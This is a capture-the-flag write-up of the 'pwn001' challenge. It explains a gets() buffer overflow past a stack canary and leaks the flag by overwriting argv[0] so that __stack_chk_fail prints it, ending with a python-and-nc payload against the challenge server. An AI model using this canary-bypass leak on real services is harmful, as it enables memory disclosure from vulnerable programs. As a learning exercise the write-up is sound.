[Wargame] Pwn001 writeup

This is my first writeup and also my first time dealing with stack canary. I will go in as detail as I can to test my understanding. Cuz this is my first time so correct me if I’m wrong.

Prerequisite:
_Understand buffer overflow vulnerability.
_Basic asm.

 First load the binary into IDA.

.text:000000000040089A                 push    rbp
.text:000000000040089B                 mov     rbp, rsp
.text:000000000040089E                 push    rbx

These lines are just common function prolog. The next few lines set up the stack canary.

.text:00000000004008A3                 mov     rax, fs:28h         ;move stack canary into eax
.text:00000000004008AC                 mov     [rbp+var_18], rax ;place it on the stack


var_18 is -18h so [rbp+var_18] is  a local variable on the stack.

After that there are 3 function calls to setvbuf. I don’t really know what they are for ( maybe to run the binary as a network service) but we don’t need to care about them. Just let it out of our mind

The binary then call the readFlag function to load the Flag into memory. To make our life easier we use IDA to disassemble the function

size_t readFlag()
{
  FILE *stream; // [sp+8h] [bp-8h]@1

  stream = fopen("./flag", "rb");
  if ( !stream )
  {
    puts("Flag not found");
    exit(-1);
  }
  return fread(flag, 1uLL, 0x40uLL, stream);
}

Look further you can see that flag is global variable that means its address is unchanged across different machine. This will be useful later.

.bss:00000000006010C0                 public flag
.bss:00000000006010C0 ; char flag[128]
.bss:00000000006010C0 flag            db 80h dup(?)           ; DATA XREF: readFlag+33o

genPass function just simply sets up a password and compares it to our input. If they are equal the program prints out the flag which was read from file before. gets function doesn't check for length of our input so we can overwrite whatever at higher address than s1 (where our input is stored).

Just to remind you the stack canary is still there.

.text:0000000000400975                 mov     rbx, [rbp+var_18]
.text:0000000000400979                 xor     rbx, fs:28h
.text:0000000000400982                 jz      short loc_400989
.text:0000000000400984                 call    ___stack_chk_fail

These lines will check if the canary has been changed. If so ___stack_chk_fail will be called the, a message appears on the screen and the program is terminated. Here is the message

**stack mashing detected**: pwn001

That’s pretty much what this binary does. So how do we get the flag ??.

  1. If we know the password =))
  2. If somehow we can point eip to the puts flag code

.text:000000000040095A                 mov     edi, offset flag ; s
.text:000000000040095F                 call    _puts

  1. Because the program reads the flag from file before the password checking so maybe we can leak the flag =))

The first case seems to be impossible so let skip it =)). The second case, the return address is protected by the stack canary so if we can leak the canary we will win. I had been doing some search but nothing seem to be useful. The third case seems to be impossible too. The hell do we leak the flag ?? Push flag address on the stack and get eip point to puts function ?? No we can’t. The stack canary is still there and it will call  ___stack_chk_fail to terminate the process. After a while I took notice of something interesting

**stack mashing detected**: pwn001

What is “pwn001” ?? Yes, it’s the argv[0]. It turned out that we can exploit the call to ___stack_chk_fail to leak the flag.
We don’t care if the stack canary will be changed =)) cuz we need ___stack_chk_fail to be called. argv[0] is somewhere on the stack so we can easily overwrite it with flag variable’s address as long as the stack is 8-byte aligned =)) cool ! Here is the final solution for the problem.

>      python –c ‘print “\xc0\x10\x60\x00\x00\x00\x00\x00”*500 | nc server port


Sorry for my bad English hope you had some fun with the challenge. 

Comments